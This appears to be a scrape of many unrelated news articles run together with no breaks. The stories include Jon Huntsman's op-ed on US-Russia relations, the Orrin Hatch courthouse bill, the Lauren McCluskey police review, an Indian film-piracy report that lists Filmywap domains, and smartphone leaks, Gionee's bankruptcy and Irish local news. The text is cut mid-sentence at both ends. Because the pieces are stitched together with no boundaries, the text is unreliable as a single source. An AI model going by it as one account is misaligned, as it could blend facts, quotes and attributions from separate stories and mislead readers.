Huntsman wrote in a Moscow Times op-ed. Huntsman said recent actions in the Black Sea, including its firing on and seizing Ukrainian vessels and arresting Ukrainian sailors, have "seriously eroded" the delicate trust established over the past year. Russias use of a nerve agent in an attempt to assassinate Russian double agent and his daughter in Britain also dealt a "serious blow" to trust between Washington and Moscow, and between Russia and the international community as a whole, he said. "These irresponsible actions are unbefitting of a country with a permanent seat on the United Nations Security Council," Huntsman said. In a short video posted on the U.S. Embassy Moscow twitter feed, Huntsman laments the loss of all American corners in libraries and locations around Russia as well as the closing of the consulate in St. Petersburg, leaving only two in the country. "It is an example of a relationship that is moving in the wrong direction, not the right direction," he said. Huntsman said as a diplomat, he likes getting out to meet people and hopes for more invitations to speak at universities, colleges and institutions "where I can find average Russians," he said. "But right now were at a moment in time in our bilateral relationship when we need to build back up to what we used to have, and not collapse it backward into something that isnt representative of my country, nor is it representative of yours." The U.S. has done its part in good faith to renew dialogue and find a path forward despite differences, Huntsman said, citing the Helsinki meeting between President Donald Trump and Russian President Vladimir Putin and members of Congress sitting down with Russian lawmakers in Moscow. He also noted Gov. Gary Herbert and Utah lawmakers recently hosted his Russian counterpart, Ambassador Anatoly Antonov. Huntsman's comments came as Putin held his annual news conference in Moscow, this year attracting 1,700 Russian and foreign journalists and lasting four hours. Putin didn't address U.S-Russia relations directly, but said he wants to meet with Trump again. Trump canceled a planned meeting with Putin at the G-20 summit in Argentina last month, citing Russias seizure of the Ukrainian navy ships. Will there be a meeting? I dont know. I have said many times that I am ready to meet, Putin said, saying the two need to discuss North Korea, Syria, Afghanistan and other issues. The Russian president also expressed support for Trump's decision to pull U.S. troops out of Syria and agreed with him that ISIS had been defeated. On that, Donald is right, and I agree with him, Putin said, calling Trump by his first name. In his op-ed, Huntsman said Russia has the opportunity to show that it is a responsible member of the international community to strengthen trust with the U.S. Efforts to improve relations will fall short if Russia doesn't keep its international agreements and respect the borders of its neighbors, he said. "We cannot afford this, for the sake of our two countries and for global stability," Huntsman wrote. He said trust must be earned through action and demonstrating responsibility. "While 2018 went from diplomatic expulsions to some expanded dialogue in critical areas like counterterrorism, Syria, North Korea and Afghanistan, 2019 must see breakthroughs in actually solving these problems," he said. "Real results and therefore enhanced trust are impossible without it." SALT LAKE CITY The federal courthouse in Salt Lake City could soon bear the name of retiring Sen. Orrin Hatch. The Senate passed a bill Thursday to name the building the Orrin G. Hatch Federal Courthouse Sen. Dan Sullivan, R-Alaska, requested the legislation pass by unanimous consent. Hatch, R-Utah, was presiding over the Senate when the vote was taken. The House will likely take up the bill in January. "Im honored and overwhelmed that the Senate voted to name the federal courthouse in Salt Lake after me," Hatch said. "Ensuring we have a top-notch federal judiciary and fair, consistent laws has been a priority of mine throughout my entire 42 years in the Senate," he said. "I will forever be grateful for the people of Utah for giving me this opportunity to serve." Hatch, a longtime member of the Senate Judiciary Committee, has participated in the confirmation of more than half of all federal judges who have ever served, including all current members of the U.S. Supreme Court. The federal courthouse at 351 S. West Temple opened in 2014. Rep. Chris Stewart, R-Utah, said at the dedication ceremony that Hatch's name should go on the outside. "I just don't think there's anyone that has had more impact, not just on the state but on the nation, and has worked on the judiciary and worked with the federal bench. I felt like that's a great honor for him and appropriate," Stewart said at the time. George Sutherland, the only Utahn ever appointed to the U.S. Supreme Court who served from 1922 to 1938, was also mentioned as someone for whom the building could be named. A large courtroom in the building bears his name. Ground for the courthouse was broken in 2011, but the idea of a new building goes back to 1991. The late GOP Sen. Bob Bennett finally secured the funding from Congress after a yearslong battle. Correction: An earlier version misidentified Republican Sen. Dan Sullivan as being from Arkansas. He is from Alaska. SALT LAKE CITY Calling it an "unforgivable lapse of judgment and professional competency," the mother of slain University of Utah student Lauren McCluskey on Thursday blasted campus police for not taking her daughter's case seriously. Jill McCluskey also called for the officers, whom she believes "failed" her daughter, "be held accountable for neglecting her numerous, persistent attempts to seek help, and be disciplined appropriately." The strong prepared statement from Jill and Matthew McCluskey comes a day after an independent panel assigned by the university to investigate whether the U. Department of Public Safety properly handled Lauren McCluskey's case, released its final report. The report's authors said Wednesday that they aren't sure whether McCluskey's murder at the hands of Melvin Shawn Rowland, 37, on Oct. 22 could have been prevented, even though the report outlines numerous mistakes made by officers, including failing to do a simple criminal background check on Rowland and not receiving messages or returning calls in a timely manner. In a three-page statement released by Lauren McCluskey's parents, they say they believe their daughter's death could have been prevented. "There were numerous opportunities to protect her during the almost two weeks between the time when our daughter began expressing repeated, elevating and persistent concerns about her situation and the time of her murder," they wrote. "This situation cries out for accountability beyond updating policies and training and addressing (police) understaffing by hiring five new department personnel." Lauren McCluskey met Rowland in September. At that time, Rowland lied about his name and age. In early October, she learned Rowland's true identity and discovered he was a registered sex offender who had been paroled from the Utah State Prison three times. On Oct. 10, Jill McCluskey called university police herself. "She explicitly said that she wanted Lauren to have a police escort because she was worried about Laurens safety," the family wrote. Jill McCluskey said she was able to look up Rowland's criminal background using her own computer in her hometown of Pullman, Washington. "This simple search immediately revealed Rowlands sex-offender past and potential dangerousness," she said. On Oct. 12, Lauren McCluskey told U. police that she was receiving what she believed were fake messages being sent by Rowland in an attempt to lure her out of her apartment, according to the report. Those messages included claims that Rowland was in the hospital following a car crash and later that he had died. The McCluskeys said the fact that Rowland was a registered sex offender, was sending fake messages to their daughter to lure her outside, and that their daughter was scared of him, should have prompted U. police to treat her case as more than a simple extortion case. But the family said that in a police report filed on Oct. 12 based on their daughter's phone call, an officer wrote, "I explained that without any threats or anything of a criminal nature that there isnt much we can do." Lauren McCluskey called police again the next day, on Oct. 13, but her mother said "there was no recognition that this was a continuing and escalating case. In fact, each of the several times that Lauren called the police, it was like the first time. The person that Lauren would speak to indicated no knowledge of who Lauren was, why she was calling, and apparently had no knowledge of any accumulating record of her issues," according to her statement. Lauren McCluskey made many calls and sent emails to U. police between Oct. 13 and 19, her mother said. But because of their lack of response, she contacted Salt Lake police "out of desperation," hoping they might be able to do something. Salt Lake police could only refer her case back to the U. since the investigation was in the university's jurisdiction. The final report acknowledges that on Oct. 19, Lauren McCluskey contacted Salt Lake police dispatchers because "she is very concerned about her case because she has not heard back as to its disposition." On Oct. 22 the day of the murder Lauren McCluskey received a text from someone claiming to be the deputy chief of the U. Department of Public Safety asking to meet with her. Again, McCluskey believed it was an attempt by Rowland to lure her out of her apartment. McCluskey forwarded the message to the officer assigned to her case. But because officers are not required to check work email when they're not working, the message was not received until after McCluskey was killed, according to the report. A second officer, whom McCluskey called, did return her call and told her the text was a fake. "However, he did not report this alarming attempt at luring Lauren from her residence to anyone. This information was a major red flag, and this final inaction by the UUPD was fatal," the McCluskeys wrote. "The fact that (the officer) did not report this to (the deputy chief), or to anyone at all, is inexplicable and indefensible. "Laurens reporting went nowhere. This is an unforgivable lapse of judgment and professional competency. This contradicts the finding that the police were taking Laurens complaints seriously." According to the University of Utah, the two officers handling McCluskey's case have each been with the department three years or less. Jill McCluskey further said the "the disconnection between university counseling staff, with whom my daughter was meeting, and UUPD or any other entity on campus, is another glaring fault." The independent panel's final report also acknowledged this problem. Jill McCluskey acknowledged that writing her letter was difficult because her daughter loved the school and their family will always support U. athletics. And she agrees with the final report's conclusion that "there were failings both systematically and individually correcting the issues we have identified in this report might lessen the probability of such a tragedy occurring again. However, she also believes that "the University of Utah must substantially improve its responsiveness to women who are in danger of relationship violence so that future tragedies will be prevented." U. spokesman Chris Nelson released a brief statement Thursday in response to the McCluskey family's letter. "The University of Utah has received and reviewed Jill and Matthew McCluskeys response to the independent review. The university has also shared the familys response with members of the review team. The university is committed to implementing the recommendations made in the report. More information about the specific actions the university has taken, and will take, can be found online." Peer-to-peer (P2P) downloads is universal, and India is on 5th position in the world, when we create a rank of freebies downloads. The Indian film industry loses about INR 1990 Million, per year due to film priracy. While Indian government blocked many torrent websites. To download priracy movie is illegel in India. Big Hollywood release This week "Captain Marvel" has been leaked on TamilRockers as well as Filmywap on 08 Mar 2019. However there are no any news for leak of Bollywood release of this week "Dadla". Also Read This : TamilRockers Movie Download Piracy 2019 - Captain Marvel, Thirumanam Leak When we talking the Indian top torrent site, Tamilrockers is the Big name in Indian movie piracy. But Tamil Rockers is not only the single player. There are one other big name "Filmywap" specialy for Bollywood and Hollywood movies. This is a public torrent website that mainly leaks English, Hindi, and Punjabi movies and TV Shows also before their release or on release day or next day of release. On 01 March 2019, Two big movies has been released in Bollywood, first movie is Luka Chuppi and second movies in Sonchiriya. As filmywap previous history of Hindi movies leak, the anti piracy wings is prepare to stop this piracy. It seems that the efforts is successful now, because many of sub domain of filmywap has been blocked. So we can say that this time filmywap can not leak these movie atleast first week after the release. But after one week some pirated copies of new films can be upload for online download. Filmywap .com reated in the year 2011, as a public torrent website. filmywap.com is the top-level domain, but filmywap also run many the domains like: filmywap.in, filmywap.co.com, filmywap.movie filmywap.ca filmywap.movie.in filmywap.movie.com Every time, filmywap create many domain, which are redirects to a similar UI pages. The avagare search volume on Google for Filmywap is aroung 5 million per month and more than 1.25 million people visited per month the website in 2018. According to Similarweb, 75% traffic come from India and 25% traffic came from other countries. Piracy of movies by illegal online websites is that sad fate of every movie that releases in theatres. Shah Rukh Khans newest film Zero, Aamir Khan's Thugs Of Hindostan, Aquaman and Rajinikanth's 2.0 are the latest leak by Filmywap. And every new release in now under attack as many fake websites like TamilRockers, Filmywap, funnyfiz and more claim to be sharing a link to download the film even before it has hit the theatres. On ther hend, some websites claim the leak the big movie before its release, but actually this may be also the fake news. For exmaple, Download link for the movie Zero was available on many piracy websites to watch online and offline for free, but the Anand L. Rai film isnt really available in the path the links follow. Treat this as caution before you find Zero on TamilRockers, Filmywap, Funnyfiz or any other website and get your systems or mobile phones tampered by viruses and unpleasant notifications. Read Also: TamilRockers Leak Vinaya Vidheya Rama, Petta, & Viswasam Full Movie Online TamilRockers also a priracy based website has previously leaked big films like 2.0, Taxiwala, Thugs Of Hindostan and many more. Vijay Deverakonda fans who were furious over the piracy of Taxiwala days before its release by TamilRockers even urged the fans to not watch the movie on the website. Also Read : TamilRockers Movies 2019 - Full Movie Download Link Leak History Indian Film industries deal with the problem of piracy for almost every big movies,despite of existing piracy laws. But the problem is in user behaviour. Indian people search many website to get free download torrent link. Huge search volume of Filywap on Google is the proof of it. Needless to say, this is an illegal site that people should avoid using. Disclaimer: This content is for reporting purpose only and Desimartini.com does not support or promote piracy in any manner. Priyanka Chopra and Nick Jonas had a dream destination wedding in Jodhpur on 1st and 2nd of December. The Desi girl and Pardesi Babu had a reception in New Delhi a few days later which was attended by even Prime Minister, Narendra Modi. Post their celebrations, the two had actually parted for a few days, only to unite yesterday night for their second wedding reception. Priyanka Chopra and Nick Jonas had a reception yesterday that was attended by a few friends and the media. While Bollywood celebs were not invited yesterday and will be seen in today's reception only, what stole the show last night was how Priyanka Chopra introduced her husband, Nick Jonas, formally for the first time. Priyanka thanked all for their blessings and good wishes and also said that she would like to take the opportunity to introduce 'husband' Nick Jonas. Nick Jonas jokingly replied that this is his first show in India. Watch the two thank the guests and introduce each other here: The phone, allegedly called the Redmi Go, has been spotted on Singaporean certification authority called Info-communications Media Development Authority (IMDA). Xiaomi is reportedly working on a phone powered by the lightweight Android Oreo (Go Edition) made for phones with entry-level hardware. The phone, allegedly called the Redmi Go, has been spotted on Singaporean certification authority called Info-communications Media Development Authority (IMDA). The device was also listed previously on the FCC in the US and the Eurasian Economic Commission (EEC). The new listing reveals that the Redmi Go will bear the model number M1903C3GG. The recent listing was the first to reveal the official name of the phone, leaving little to imagination what it will be all about. However, earlier reports had revealed some of the key specifications of the smartphone as well. According to FCC, Xiaomis entry-level smartphone will tout a rather large 5.9-inch panel. The screen resolution is unknown at this point. The listing also stated that the Redmi Go will have support for Dual-SIM, 2.4GHz Wi-Fi and Bluetooth 4.2. It is also speculated that the Redmi Go will have 1GB of RAM as thats the specified hardware that Google asks for to enable Android Go. There could also be a single camera on the back and could be powered by an entry-level Qualcomm and MediaTek processor. The Singaporean listing was first revealed by Nashville Chatter which also reported that the phone will be priced under $100 (Rs 7,024 approx). While the launch date is still unknown at this point, the Xiaomi Mi Play will reportedly launch on December 24 in China. It could be possible that Xiaomi will reveal the entry-level phone at the same event. If indeed it launches, the Redmi Go will join the likes of the Samsung J2 Core and Nokia 1 as phones powered by an optimised version of Android made especially for low-end hardware. Speaking of the Mi Play, the phone was recently revealed in teasers sporting a water-drop notch, gradient colour finish, a Snapdragon processor and in all possibility, this could be a gaming-centric phone from Xiaomi, even though earlier it was presumed to be the Redmi 7. A court in China has reportedly accepted the application for liquidation bankruptcy by Huaxing Bank against Gionee. Highlights: Gionee has reportedly entered bankruptcy The company was facing a cash crunch for some time now Gionee is said to owe around $3 billion to 648 creditors Gionee has reportedly gone under and entered bankruptcy. GSMArena reports that a court in Shenzhen, China, has accepted the application for liquidation bankruptcy by Huaxing Bank against the smartphone manufacturer. However, theres still a chance that this might turn into a reorganisation since Gionee is said to have hired restructuring consultants last week and its founder and Chairman, Liu Lirong, thinks that the company might get be able to get back in business in 3-5 years. However, this seems a bit of a stretch since the company is said to owe around $3 billion to 648 creditors and half of the amount to banks. The company has reportedly failed to pay suppliers and ad agencies. Recently, a report pointed to company founder, Lirong, losing around CNY 1 billion while gambling. While the executive says he didnt use companys funds in the casino, he admitted that he might have borrowed company funds. This comes as a big blow to the company since it is said to have lost around CNY 100 million per month between 2013 and 2015. Gionees losses are said to have doubled in the last two years. The company was also facing a cash crunch and sold off its Indian arm to former Gionee India CEO and minority shareholder Arvind R Vohra, and promoters of handset maker Karbonn Mobile. Its been a while since Gionee introduced any new phones in the Indian market. Back in April, the company launched its F205 and S11 Lite smartphones in the country. Gionee entered India in 2012 and claims to have a customer base of 1.25 crore in the country, along with over 42,000 retail stores, and 600 exclusive service centres. The companys devices are assembled at a Foxconn plant in Sri City, Andhra Pradesh. Last year, it also announced plans of investing Rs 500 crore in a new manufacturing/assembling unit in Faridabad, Haryana. Related Reads: Chinese phone-maker Gionee selling off India business to former country CEO and Karbonn mobiles promoter Gionee F205, S11 Lite selfie-centric smartphones with 18:9 FullView display launched in India According to the document published online, the Nokia 9 PureView will have Bluetooth 5.0 and will be a 4G device. Highlights: Three models TA-1082, TA-1087, and TA-1094 have got the certification The smartphone is expected to have a rear penta-camera setup May launch at CES in January or MWC in February The Nokia 9 PureView is one of the most-discussed phones currently due to its rumoured penta-camera setup on the back panel. Amid several leaks and reports, three models of the smartphone have got Bluetooth certification - one of the mandatory steps before a company releases a phone commercially. This development further attests to the fact that the device is on its way to markets but there is uncertainty about the launch date. According to a document published on launchstudio.com, the model numbers TA-1082, TA-1087, and TA-1094 have received the certification. Reportedly, the last model has also been spotted at other certification bodies, such as 3C and MIIT. It will have Bluetooth 5.0 and will be a 4G smartphone, the listing notes. Other than this, the document does not provide any information. It is possible that the these multiple models are for different markets. Previous reports had said that HMD Global would launch the Nokia 9 PureView by the end of this year, but later, a report claimed that the launch has been postponed indefinitely. Some media platforms claimed that the company might be looking at CES in January or MWC in February to launch the phone but nothing has been confirmed. The main reason for this is apparently quality issues with the penta-camera setup. Talking to winfuture.de, Country Marketing Head, Britta Gerbracht had said that due to the complex camera unit of the new model, the manufacturer and its production and development partner Foxconn, is facing some challenges. Camera is the most distinguishing feature of the Nokia 9 PureView smartphone. It has seven cutouts on the back panel to apparently house five cameras: main RGB, wide-angle, tele, monochrome and a depth sensor. The sixth cutout is for the flash and the seventh one could be used for a laser-assisted autofocus. An image of the smartphone was leaked mentioning 4150mAh as the battery capacity of the device. It has also been reported that the smartphone may come with 5.9-inch, QHD resolution 3D glass OLED display and may be powered by the Qualcomm Snapdragon 845 processor. In the camera department, the Nokia 9 is said to sport a 41MP primary wide-angle camera, a 20MP secondary telephoto lens and a 9.7MP monochrome camera with ZEISS optics. Related Read: Nokia 9 launch postponed due to camera issues Nokia 9 PureView back case leaked Nokia 9 may sport a 4150 mAH battery The leaked image of the OnePlus phone suggests a circular camera setup on the back and is seen in Silver and Red colour models. Key Highlights: Image of an alleged OnePlus phone has leaked The OnePlus device is seen with a circular rear camera setup The leaked device is said to be in the designing phase An image of OnePlus upcoming device has leaked on Twitter by tipster Ishan Agarwal and it seems to have been shot inside the companys boardroom. Going by the image, folks over at OnePlus seem to be working hard on their upcoming device, which shows a rather different design for the rear camera than what we are used to seeing on the companys handsets. The OnePlus phone can be seen featuring a large circular camera module on the back panel and a couple of physical units can also be seen, one of which is being handled by the companys CEO, Pete Lau. Aggarwal says that the device shown off in the image is currently in the designing stage but the final device could look similar. Theres no confirmation if the leaked OnePlus handset is the OnePlus 7 or a separate OnePlus 5G phone. To recall, the smartphone manufacturer has announced that the OnePlus 5G phone will not be a successor to the OnePlus 6T and is supposed to be an entirely different phone. OnePlus has already announced its plans of coming up with a device that runs on Qualcomms Snapdragon 855 SoC and makes use of the X50 modem with the mmWave and sub-6 GHz antenna module to deliver 5G connectivity in select markets like Europe and UK. It is said to cost around $300 more than the OnePlus 6T and could be launched in Q2 next year. EXCLUSIVE! Here's your first look at an upcoming OnePlus Device I don't know much about. This image shows the device in prototype/designing stage and it is not final but this is probably how the device may end up looking. That's Pete (CEO of OP) in the img and the device itself. pic.twitter.com/Yau9EsgSDy Ishan Agarwal (@IshanAgarwal24) December 19, 2018 Seeing how most major smartphone makers are flocking to create a 5G device, 5G seems to be on its way to being one of the major buzzwords this coming year. Samsung, Oppo, Lenovo, Huawei and Xiaomi are some of the companies that seem to be working on getting their respective 5G devices up and running, apart from OnePlus. Xiaomi and Oppo have already shown off their phones that work on the 5G network, while leaks of a 5G variant of Samsungs upcoming S10+ have also surfaced. The 5G variant of the Xiaomi Mi Mix 3 is said to be ready and is confirmed to be launched running on the Qualcomm Snapdragon 855 SoC. The new handset will be unveiled at 2018 China Mobile Global Partner Conference and 5G connectivity on it will be enabled by leveraging Qualcomm's X50 5G modem along with the mmWave and sub-6 GHz antenna module. Oppo, on the other hand, showcased Oppo Find X 5G engineering sample at Global Partners Conference in Guangzhou. The phone is also running on Snapdragon 855 and the X50 5G modem. Related Reads: OnePlus to be one of the first to launch a 5G smartphone in 2019 Upcoming 5G mobile phones in India Xiaomi Mi Mix 3 with Snapdragon 855, 5G connectivity confirmed to launch in 2019 Oppo Find X 5G model showcased in China Subscriber content preview TACOMA (AP) A former Costco employee in Washington state has been sentenced to a year in prison for stealing nearly $290,000 from the company and its customers. KOMO-TV reports 54-year-old Robin Cline was sentenced Monday in federal court in Tacoma after pleading guilty in June to wire fraud charges. . . . Subscriber content preview University Temple United Methodist Church announced in July that it would sell and raze its old property at 1415 N.E. 43rd St. The plan was to partner with a developer, to be selected by September, on a new high rise that would include worship and administrative space. The July plan also included the nearby University Lutheran Church, which also intends to sell, but it has dropped out of the co-op plan. . . . $22M refi deal in Pullman Newmark's Spokane office has secured $21.75 million in refinancing for the new 281-unit Birch Hills Apartments in Pullman, which primarily serves students at Washington State University. Demetri Koston arranged the 12-year, fixed-rate loan from an unnamed local bank; it carries a 30-year amortization schedule. The first four years of the non-recourse loan are interest-only. Maruti Suzuki to impart skills to rural youth under govt programme Maruti Suzuki (India) Ltd has signed a memorandum of understanding (MoU) with the ministry of rural development to impart skills to rural youth under the Deen Dayal Upadhyaya Grameen Kaushalya Yojana (DDU-GKY), the flagship placement linked skill-training programme. The aim is to help the rural youth who are handicapped by both lack of training and formal education and a general lack of employment opportunities. DDU-GKY bridges this gap by funding training projects with an emphasis on placement, retention, career progression and foreign placement. The mission of the flagship scheme of MoRD is to ensure rural poor youth are skilled in market relevant trades and job-relevant competencies. One of the ways in which DDU-GKY aims to achieve this is through the Champion Employers policy. The Champion Employers are the industry leaders who have the potential to provide training and captive employment to the DDU-GKY candidates. The policy seeks a strategic alignment of objectives of DDU-GKY with the HR strategy of organisations, which have a large potential to absorb trained manpower. The partnership between the government and the leading industry from the automotive sector will provide training to at least 5,000 candidates in two years with assured placement to the rural youth of our country, an official release said. The number of candidates certified under short term (90 days) training of the Pradhan Mantri Kaushal Vikas Yojana (PMKVY) as of end-August 2018 stood at 1.82 million, of which 9.99 lakh candidates, or approximately 54.9 per cent, have been placed in various sectors across the country as of end November 2018, according to government estimates. As per data reported on Skill Development Management System (SDMS), as of 30 November 2018, about 1.96 million candidates have been certified under short term training of PMKVY 2016-20. Out of these candidates, 9.99 lakh candidates have been placed in various sectors across the country, including in the state of West Bengal, which is approximately 54.9 per cent of the number of candidates imparted training so far. Donegal Minister Joe McHugh has announced a 20,000 grant for Amharchlann Ghaoth Dobhair. Minister McHugh said that the recent allocation was superb recognition of the work which is being carried out at Amharchlann Ghaoth Dobhair. Deputy McHugh said: "I am delighted to see the Amharclann secure financial support like this. The work that went into the venue to bring it back to life was phenomenal and the lasting impact that it is having on the local community is impressive. At present a hugely successful pantomime has taken to the stage. The production is the first of its kind to take to the stage in 40 years. Deputy McHugh recognises the ongoing work at the theatre and the team behind it: Pol MacCumhaill, all his team and the committee at Amharchlann Ghaoth Dobhair deserve huge credit and I am delighted to see them getting the backing they deserve." A linguistic hub He said that all those at the amharclann are huge supporters of the Irish language: "They support actors, writers, artists, musicians, designers and directors. They bring people to the region. They do it through our language. And all the while they are trying to cater for young people and make the language relevant and get young Irish speakers to use it. The money has been sanctioned by Minister Sean Kyne, Government Chief Whip and Minister of State for Irish, the Gaeltacht and the Islands. The funding will go to the amharclann to help the committee properly cater for drama and the arts in Gaoth Dobhair and wider Donegal community. History of a Gaoth Dobhair institute Amharclann Ghaoth Dobhair officially opened in 1961. With substantial financial backing from the Department of Culture, Heritage and the Gaeltacht the Amharclann underwent huge renovation theatre in the past few years. It officially reopened in March 2017. This grant has been approved in accordance with the provisions in the Community and Language Support Programme under Act 2.14 of the Governments Action Plan 2018-2022 for Irish, which was launched in June 2018. In recent months, a presentation based on the importance of finance to the theatre was made members of the committee at a Glenties Municipal District meeting. Do you have a flair for science? Are you an electronic, mechanical or software engineering expert? Or, perhaps, you are a mastermind of manufacturing know-how. There are world-leading careers on offer for world-leading candidates at Randox Teoranta in Dungloe this December. Thats the message that global diagnostics firm Randox Teoranta wants to send to students, graduates and experienced professionals alike as it opens its doors to the public once again on Monday, December 24. Held from 9am to 12noon, the morning is an opportunity for those interested in science, engineering, software development and manufacturing roles in Donegal to have a tour of the state-of-the-art facility and chat with Randox Teoranta staff members about the careers on offer. Randox Teoranta is particularly passionate about attracting back those who have left Ireland to find careers further afield due to lack of opportunities in their particular vocations. Dream careers in science, engineering and manufacturing are available on the doorstep in Dungloe. Dr. Ciaran Richardson, Head of Research & Development at Randox Teoranta, commented: At Randox Teoranta, were constantly pushing the boundaries of healthcare and diagnostic capabilities, allowing us to offer world-class career opportunities in the heart of Donegal. Our scientists are working on a range of research projects which will lead to quicker diagnoses of conditions such as stroke, gastrointestinal disorders and chronic kidney disease. In 2016, our scientists even developed a pioneering new test to determine a patients risk of developing Alzheimers disease. There are also opportunities for software developers, electronic & embedded systems engineers, validation and mechanical engineers as our technology continues to advance to accommode our scientific breakthroughs. Our manufacturing department also boasts a number of competitive roles which are essential to Randox Teorantas continuation as a world leader in healthcare diagnostics and associated technology. Career opportunities There are a wide variety of career opportunities available at Randox Teoranta. From placement opportunities for college and university students to graduate roles in a variety of fields, young scientists and engineers have the opportunity to get their big break on the career ladder with a globally-recognised company. There are also opportunities for experienced and driven individuals looking for a smart career move. Students, graduates and experienced professionals are welcome to visit on Monday along with their family and friends. Potential candidates are welcome to bring their CV on the day or email it to recruitment@randoxteoranta.com. Following the publication of the Irish Governments contingency action plan for a no-deal Brexit, the Killybegs Fishermens Organisation (KFO) warned that the ramifications of such an outcome in March next would be apocalyptic for the Irish industry. The government published its contingency plans for the worst case scenario of a no-deal Brexit on March 29 on Wednesday. The Tanaiste Simon Coveney said there are no contingency plans for a border on the island of Ireland; neither are there plans to prepare fisheries for a no-deal. KFO Chief Executive, Sean ODonoghue stated: Irelands two biggest fisheries, mackerel (60%) and nephrops / prawns (40%) are massively dependent on access to UK waters with the overall percentage of stocks currently fished from UK waters by the Irish fleet standing at more than 30%. We cannot countenance a situation whereby this access might stop at 11pm on March 29 next due to a hard Brexit. Whereas fish are mobile and know no borders nor bear any nationality, our trawlers dont have this luxury and must obey boundaries and exclusion zones. Our industry is standing on the edge of a precipice and everything that we have strived for and developed for generations is staring into the abyss. Page 53 of the Governments contingency plan states that A critical issue for the fisheries sector in Ireland, and a number of other EU Member States, is the maintenance of reciprocal access to fisheries waters and resources. While we had been quite encouraged by the first tranche of documents delivered by the negotiating teams and subsequently approved by the UK cabinet last month, we are now very concerned in light of more recent developments or lack of developments - in the UK that there is a real possibility of a hard Brexit. We are talking about a 1.15 billion Irish seafood sector which sustains 14,500 jobs here, concluded Mr ODonoghue. The High Court has made freezing orders against a Donegal financial advisor and two of his companies over an alleged failure to return 159,000 advanced to him as an investment. The orders were granted by Ms Justice Leonie Reynolds in favour of Jamie Murphy who claims that James Doherty trading as Demvera Capital Partners has used the money advanced in 2017 for his own personal use. Mr Murphy represented by Eugene Gleeson SC, appearing with Alanna McGurk Bl instructed by solicitor Richard Bennett, secured the orders against James Doherty trading as Demvera Capital Partners, with a registered address at Serpentine Business Park, Serpentine Avenue Ballsbridge Dublin 4. The injunction was also granted against another related company Demvera Trust unlimited Company, with an address at Burnfoot Business Park, Main Street, Burnfoot, Co Donegal. The orders prevent the defendant from reducing his assets, which includes sums held in two bank accounts in Co Dublin and Donegal, beneath a value of 159,000. The Judge also ordered that Mr Murphy produce a list of all his assets within four weeks. Mr Murphy of St Annes Park, Quinn Road, Shankill Co Dublin had claimed that despite hiring a private investigator, Mr Doherty cannot be located. All that is known is Mr Doherty is somewhere in the UK. Seeking the orders counsel said Mr Murphy advanced some 159,000 to Mr Doherty in 2017. Counsel said Mr Murphy was introduced to Mr Doherty, who represented himself as an accountant and a financial advisor. The money, which came from a trust fund and personal savings, was to be invested in a firm that provides home care to those with disabilities. Counsel said the money was never invested in that company. His client had sought explanations from Mr Doherty. When proper explanations were not forthcoming his client sought the return of the investment, counsel said. Despite giving various assurances the money has never been returned by Mr Doherty. Counsel said Mr Doherty had given excuses including his ill health as a reason for not returning the monies. Counsel said that following a search his client could not find Mr Doherty listed as a member of any registered accountancy bodies in Ireland Northern Ireland and the UK. Counsel said that Mr Murphy fears that he may be the victim of a fraud and that he requires the freezing orders as the defendants may dissipate monies held in the bank accounts. Ms Justice Reynolds, who earlier this week granted permission to serve short notice of the proceedings on the defendants, said she was satisfied to grant the injunctions sought. The matter will return before the court in January. Louth Labour senator Ged Nash has welcomed the passing of the Employment (Miscellaneous Provisions) Bill through both houses of the Oireachtais yesterday, saying it will "transform the lives and living standards of tens of thousands of workers in areas such as retail and hospitality. The Bill seeks to address the challenges thrown up by the increased casualisation of work and to strengthen the regulation of precarious employment. The main provisions of the Bill are as follows: Employers must give employees basic terms of employment within five days; Prohibits zero hour contracts except in situations of genuine casual employment and where they are essential to allow employers to provide cover in emergency situations or to cover short-term absence; A new minimum payment for employees called in to work but sent home again without work; Banded Hours provisions: a new right for employees whose contract of employment does not reflect the reality of the hours they habitually work whereby they will be entitled to be placed in a band of hours that better reflects the hours they have worked over a 12 month reference period; Anti-penalisation provisions: The Bill provides strong anti-penalisation provisions for employees who invoke their rights under this legislation. Senator Nash said: These new laws have been four years in the making. These reforms started life as a Labour Party initiative in the summer of 2014 when I initiated, as Minister for Employment, the first ever comprehensive examination of the prevalence of zero hours and low hours contracts undertaken in Ireland with an expert team from the University of Limerick. The recommendations I brought to government in early 2016 are by and large reflected in the legislation passed today. This new set of radical employment rights reforms will mean that from next year, workers who are currently going to bed on a Sunday night not knowing how many hours they will work that week and consequently what they will earn will have much more certainty over their hours and security over their incomes. This is the least that people who work hard for a living should be entitled to expect. My concerns remain though over the robustness of this legislation insofar as it covers the insidious phenomenon if and when contracts which we identified in the University of Limerick study. I will be maintaining a close eye on the operation of the legislation in this context. Thanks to an amendment in the Seanad from the Labour Party, the Act will come into operation next March and not in June as the government had originally intended. Those in precarious work in Ireland have waited long enough for greater legal protection and an enforceable floor of decency in terms of working hours for all workers. My Labour Party colleagues and I are proud to have pioneered this process which will transform the lives and living standards of tens of thousands of workers in areas such as retail and hospitality. The new Bill commences in the first week of March 2019. Please allow ads as they help fund our trusted local news content. Kindly add us to your ad blocker whitelist. If you want further access to Ireland's best local journalism, consider subscribing to our ePaper and/or free daily Newsletter . Support our mission and join our community now. Pictured above L-R: Fiona Brady General Manager, Fiona Floyd Business Manager, Nora Hourigan HIPE Manager, Paul Nadin Maintenance & Technical Services Manager, Mr Sherif El Masry Clinical Director, Ian Broni Facilities & General Services Manager, Colm Kinch HR Manager, Miriam Kelly Risk Manager Louth Independent TD Peter Fitzpatrick met with senior management at Our Lady of Lourdes Hospital in Drogheda earlier this week, to discuss concerns regarding a number of issues. Fitzpatrick says a wide range of topics were discussed during the meeting, including new theatres, units and concerns the hospital have over finding staff. One of the main topics of conversation, according to the Louth deputy, was the proposed name change to Our Lady of Lourdes. "Senior members of staff have given the commitment to me that the name change is not going to happen in the near future", said Fitzpatrick. Deputy Fitzpatrick said that at the meeting, they spoke about the hospitals priorities. The main priority right now, Fitzpatrick was informed, is Norovirus, better known as the winter vomiting bug, the most common and highly contagious stomach bug in Ireland, affecting people of all ages. Senior management did mention that they are willing to meet with community groups and politicians regarding the name change to discuss it, says Fitzpatrick, "but right now they are focusing on working together to keep hospital services going." Regarding new theatres in Our Lady of Lourdes, Fitzpatrick says, "it is envisaged that the Hospital will open 5 new theatres by the second quarter of 2019. He continues, "this will give the Hospital 2 additional theatres - 1 for Paediatric trauma and 1 for Adult trauma. "This is something that would be widely welcomed and much needed however the opening of these theatres is massively dependent on a huge recruitment drive for theatre Nurses and Anaesthetists both from a national and international perspective. "The hospital is continuously striving to recruit health care professionals to fill existing vacancies but also to assist them to develop new services. "Fundamental to the expanding of 